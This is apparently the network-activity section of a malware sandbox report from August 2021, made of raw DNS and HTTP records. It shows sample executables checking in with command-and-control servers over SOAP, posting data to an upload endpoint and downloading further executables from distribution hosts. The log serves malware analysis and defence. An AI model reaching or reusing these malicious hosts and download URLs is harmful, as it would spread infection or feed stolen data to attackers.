                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:40 GMT
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 304
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:48 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:51 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://94.103.83.88:60362/
                                                                                                                                                                                                                                          AD95.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          94.103.83.88:60362
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 94.103.83.88:60362
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:50 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://94.103.83.88:60362/
                                                                                                                                                                                                                                          AD95.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          94.103.83.88:60362
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 94.103.83.88:60362
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4694
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:55 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          A23Ayg6MlA2S8O5cSFSG5DpC.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:51 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FgW7u3pDJ2UCpxxFI4u04PF3ZWb6Rpa4NkGGbwi9x7PEpR0RnydaELYvnCaFZPV%2BqyrSVZoM%2BnI1ot0%2BBXhbwM8GbVlIZ7XPJd4Vct%2FL0o%2B%2BqXjRQnm1k1h6Pg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232bd9588d4248-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 271
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:53 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 179
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:55 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 51
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          t.ikedaikami.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          t.ikedaikami.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          t.ikedaikami.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          45.130.228.44
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://t.ikedaikami.com/all/mysetup.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.130.228.44:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /all/mysetup.exe HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Host: t.ikedaikami.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          content-type: application/x-executable
                                                                                                                                                                                                                                          last-modified: Mon, 09 Aug 2021 17:52:56 GMT
                                                                                                                                                                                                                                          etag: "6faa7f-61116b78-3379df1c220c6b07;;;"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          content-length: 7318143
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:27:59 GMT
                                                                                                                                                                                                                                          server: LiteSpeed
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          AD95.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:57 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=00pi4pkY93GuafrxBo0CQ2BAwdPgOlVn03uxReK7oB5E5UyqEnNgOl7QyG1Ptg6wa5Tchji1ov53o5aSJc%2FDPSUUXztvoeThpt5VOcRJ%2Ba2t%2BnRtpT9mjzq5FA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232bfef8ed4c0d-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.microsoft.com
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.microsoft.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.microsoft.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          www.microsoft.com-c-3.edgekey.net
                                                                                                                                                                                                                                          www.microsoft.com-c-3.edgekey.net
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
                                                                                                                                                                                                                                          www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          e13678.dscb.akamaiedge.net
                                                                                                                                                                                                                                          e13678.dscb.akamaiedge.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          2.21.41.70
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          vpn.maskvpn.org
                                                                                                                                                                                                                                          mask_svc.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          vpn.maskvpn.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          vpn.maskvpn.org
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          98.126.176.53
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:27 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4744
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:41 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://fsstoragecloudservice.com/campaign3/autosubplayer.exe
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          111.90.156.58:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /campaign3/autosubplayer.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: fsstoragecloudservice.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.4.22
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Content-Length: 0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:38 GMT
                                                                                                                                                                                                                                          Server: LiteSpeed
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          twelveoclock.top
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          twelveoclock.top
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          twelveoclock.top
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          185.4.65.191
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          geo.netsupportsoftware.com
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          geo.netsupportsoftware.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          geo.netsupportsoftware.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          geography.netsupportsoftware.com
                                                                                                                                                                                                                                          geography.netsupportsoftware.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          62.172.138.35
                                                                                                                                                                                                                                          geography.netsupportsoftware.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          195.171.92.116
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://geo.netsupportsoftware.com/location/loca.asp
                                                                                                                                                                                                                                          svrwebui.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          62.172.138.35:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /location/loca.asp HTTP/1.1
                                                                                                                                                                                                                                          Host: geo.netsupportsoftware.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Cache-Control: private
                                                                                                                                                                                                                                          Content-Type: text/html; Charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Set-Cookie: ASPSESSIONIDCADTQTBA=JLPKMLAAGGAOLGADKHEFGFKB; path=/
                                                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:28:04 GMT
                                                                                                                                                                                                                                          Content-Length: 15
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          192.243.59.12:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6 HTTP/2.0
                                                                                                                                                                                                                                          host: www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          accept: text/html, application/xhtml+xml, image/jxr, */*
                                                                                                                                                                                                                                          accept-language: en-US
                                                                                                                                                                                                                                          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
                                                                                                                                                                                                                                          accept-encoding: gzip, deflate, br
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/2.0 200
                                                                                                                                                                                                                                          server: nginx/1.17.6
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:28:10 GMT
                                                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                                                          p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
                                                                                                                                                                                                                                          set-cookie: u_pl=14575867; expires=Sun, 22 Aug 2021 10:28:10 GMT
                                                                                                                                                                                                                                          set-cookie: ain=eyJhbGciOiJIUzI1NiJ9.eyJwIjp7ImlkIjoxNDU3NTg2NywiayI6ImE5NzFiYmU0YTQwYTcyMTZhMWE4N2Q4ZjQ1NWY3MWU2Iiwic2lkIjoiIiwiaXNpZCI6MiwiYXNpZCI6MSwiemlkIjoxMDYzMzYsInBpZCI6ODUxNTUsImFuIjp0cnVlLCJsYW4iOnRydWUsImNpZCI6MywiYWlkIjoyOCwicHQiOjQsInBrIjoiZTJxOHp1OWh1IiwiY3BrcyI6eyAiMzQiOiJiOGI2ZGRmN2IwNzdlMDgwMmYyYzMxMGU1MjgwM2ExZCJ9LCJ0IjoxfSwidSI6eyJ1IjoxLCJhdSI6MSwiZCI6eyJpZCI6NjAzNzY3LCJpZHMiOiIiLCJpYyI6ZmFsc2UsIm4iOiJEZXNrdG9wfEVtdWxhdG9yIiwidiI6IlVua25vd24iLCJtIjoiVW5rbm93biIsImYiOjEsImZuIjoiRGVza3RvcCIsIm9pZCI6Mzg5MTQsIm9uIjoiV2luZG93cyIsIm92IjoiMTAuMCIsImJpZCI6NjgwMDEsImJuIjoiRWRnZSIsImJ2IjoiMTUiLCJ3diI6ZmFsc2UsImUiOmZhbHNlLCJhYiI6ZmFsc2V9LCJjIjp7ImlkIjoyMjMsImMiOiJVUyIsIm4iOiJVbml0ZWQgU3RhdGVzIn0sImEiOmZhbHNlLCJjciI6eyJuIjoiQ29nZW50IENvbW11bmljYXRpb25zIn0sInhmIjoiIiwiaXhmIjpmYWxzZSwiaWd4ZiI6ZmFsc2UsInVwIjp0cnVlLCJyIjoiIn19.552cZvC5zY6d-ELysi_3P64nQ7K_aGqASdomAgVqgg0; expires=Sat, 21 Aug 2021 10:29:10 GMT
                                                                                                                                                                                                                                          expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          cache-control: no-cache
                                                                                                                                                                                                                                          x-request-id: 4184647e0f246603eec6fcdbc125c998
                                                                                                                                                                                                                                          strict-transport-security: max-age=0; includeSubdomains
                                                                                                                                                                                                                                          content-encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.profitabletrustednetwork.com/e2q8zu9hu?shu=ef3329931a49011e3c8da09cb4e1cf9d0daa856945b5a61dc56108bb383a14d0b8e5aaed9db8be783592ccd82f3d92c0e0a3dc20b411846f488eb72075205aea91b10781a2386044a908a166daeac8069bdf2b9c&pst=1629541750&rmtc=t&uuid=&pii=&in=false&key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                                                                                                                          MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          192.243.59.12:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /e2q8zu9hu?shu=ef3329931a49011e3c8da09cb4e1cf9d0daa856945b5a61dc56108bb383a14d0b8e5aaed9db8be783592ccd82f3d92c0e0a3dc20b411846f488eb72075205aea91b10781a2386044a908a166daeac8069bdf2b9c&pst=1629541750&rmtc=t&uuid=&pii=&in=false&key=a971bbe4a40a7216a1a87d8f455f71e6 HTTP/2.0
                                                                                                                                                                                                                                          host: www.profitabletrustednetwork.com
                                                                                                                                                                                                                                          accept: text/html, application/xhtml+xml, image/jxr, */*
                                                                                                                                                                                                                                          referer: https://www.profitabletrustednetwork.com/e2q8zu9hu?key=0f22c1fd609f13cb7947c8cabfe1a90d&submetric=14575867
                                                                                                                                                                                                                                          accept-language: en-US
                                                                                                                                                                                                                                          user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
                                                                                                                                                                                                                                          accept-encoding: gzip, deflate, br
                                                                                                                                                                                                                                          cookie: u_pl=14575867; cjs=t
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/2.0 302
                                                                                                                                                                                                                                          server: nginx/1.17.6
